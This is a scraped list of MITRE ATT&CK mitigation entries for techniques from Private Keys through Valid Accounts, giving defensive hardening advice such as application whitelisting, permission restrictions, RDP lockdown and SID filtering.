T1145Private Keys MitigationUse strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.
M1026Privileged Account ManagementManage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
M1025Privileged Process IntegrityProtect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.
T1057Process Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1186Process Doppelgänging MitigationThis type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1093Process Hollowing MitigationThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1012Query Registry MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1163Rc.common MitigationLimit privileges of user accounts so only authorized users can edit the rc.common file.
T1164Re-opened Applications MitigationHolding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.
T1108Redundant Access MitigationIdentify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1060Registry Run Keys / Startup Folder MitigationIdentify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1121Regsvcs/Regasm MitigationRegsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.
T1117Regsvr32 MitigationMicrosoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)
T1219Remote Access Tools MitigationProperly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.
M1029Remote Data StorageUse remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.
T1076Remote Desktop Protocol MitigationDisable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)
T1105Remote File Copy MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1018Remote System Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1091Replication Through Removable Media MitigationDisable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)

Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1496Resource Hijacking MitigationIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
M1022Restrict File and Directory PermissionsRestrict access by setting directory and file permissions that are not specific to users or privileged accounts.
M1044Restrict Library LoadingPrevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
M1024Restrict Registry PermissionsRestrict the ability to modify certain hives or keys in the Windows Registry.
M1021Restrict Web-Based ContentRestrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
T1014Rootkit MitigationIdentify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1085Rundll32 MitigationMicrosoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)
IDNameDescription
T1494Runtime Data Manipulation MitigationIdentify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
T1053Scheduled Task MitigationLimit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1029Scheduled Transfer MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1113Screen Capture MitigationBlocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1180Screensaver MitigationBlock .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)
T1064Scripting MitigationTurn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.

Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
T1063Security Software Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1101Security Support Provider MitigationWindows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
T1035Service Execution MitigationEnsure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1058Service Registry Permissions Weakness MitigationEnsure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
T1489Service Stop MitigationEnsure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.
T1166Setuid and Setgid MitigationApplications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.
T1051Shared Webroot MitigationNetworks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.

Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)
T1023Shortcut Modification MitigationLimit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1178SID-History Injection MitigationClean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller).
- Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)
Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.
T1216Signed Script Proxy Execution MitigationCertain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
T1198SIP and Trust Provider Hijacking MitigationEnsure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent DLL Search Order Hijacking. (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.
M1054Software ConfigurationImplement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.
T1045Software Packing MitigationEnsure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.

Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1153Source MitigationDue to potential legitimate uses of source commands, it’s may be difficult to mitigate use of this technique.
T1151Space after Filename MitigationPrevent files from having a trailing space after the extension.
T1193Spearphishing Attachment MitigationNetwork intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.
T1192Spearphishing Link MitigationBecause this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as User Execution occurs.
T1194Spearphishing via Service MitigationDetermine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.
T1184SSH Hijacking MitigationEnsure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)
M1020SSL/TLS InspectionBreak and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
T1032Standard Cryptographic Protocol MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)
T1095Standard Non-Application Layer Protocol MitigationProperly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1165Startup Items MitigationSince StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.
T1492Stored Data Manipulation MitigationIdentify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.
T1206Sudo Caching MitigationSetting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.
T1169Sudo MitigationThe sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.
T1195Supply Chain Compromise MitigationApply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)
T1019System Firmware MitigationPrevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)
T1082System Information Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1016System Network Configuration Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1049System Network Connections Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1033System Owner/User Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1007System Service Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1124System Time Discovery MitigationBenign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1501Systemd Service MitigationThe creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.
T1080Taint Shared Content MitigationProtect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).

Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.

Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1221Template Injection MitigationConsider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the Forced Authentication use for this technique.

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)
T1072Third-party Software MitigationEvaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through Exploitation for Privilege Escalation.

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
M1019Threat Intelligence ProgramA threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
T1209Time Providers MitigationIdentify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)
T1099Timestomp MitigationMitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1493Transmitted Data Manipulation MitigationIdentify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.
T1154Trap MitigationDue to potential legitimate uses of trap commands, it’s may be difficult to mitigate use of this technique.
T1199Trusted Relationship MitigationNetwork segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.
T1111Two-Factor Authentication Interception MitigationRemove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1065Uncommonly Used Port MitigationProperly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
M1051Update SoftwarePerform regular software updates to mitigate exploitation risk.
M1052User Account ControlConfigure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.
M1018User Account ManagementManage the creation, modification, use, and permissions associated to user accounts.
T1204User Execution MitigationUse user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in Obfuscated Files or Information.

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.
M1017User TrainingTrain users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
T1078Valid Accounts MitigationTake measures to detect or prevent techniques such as OS Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

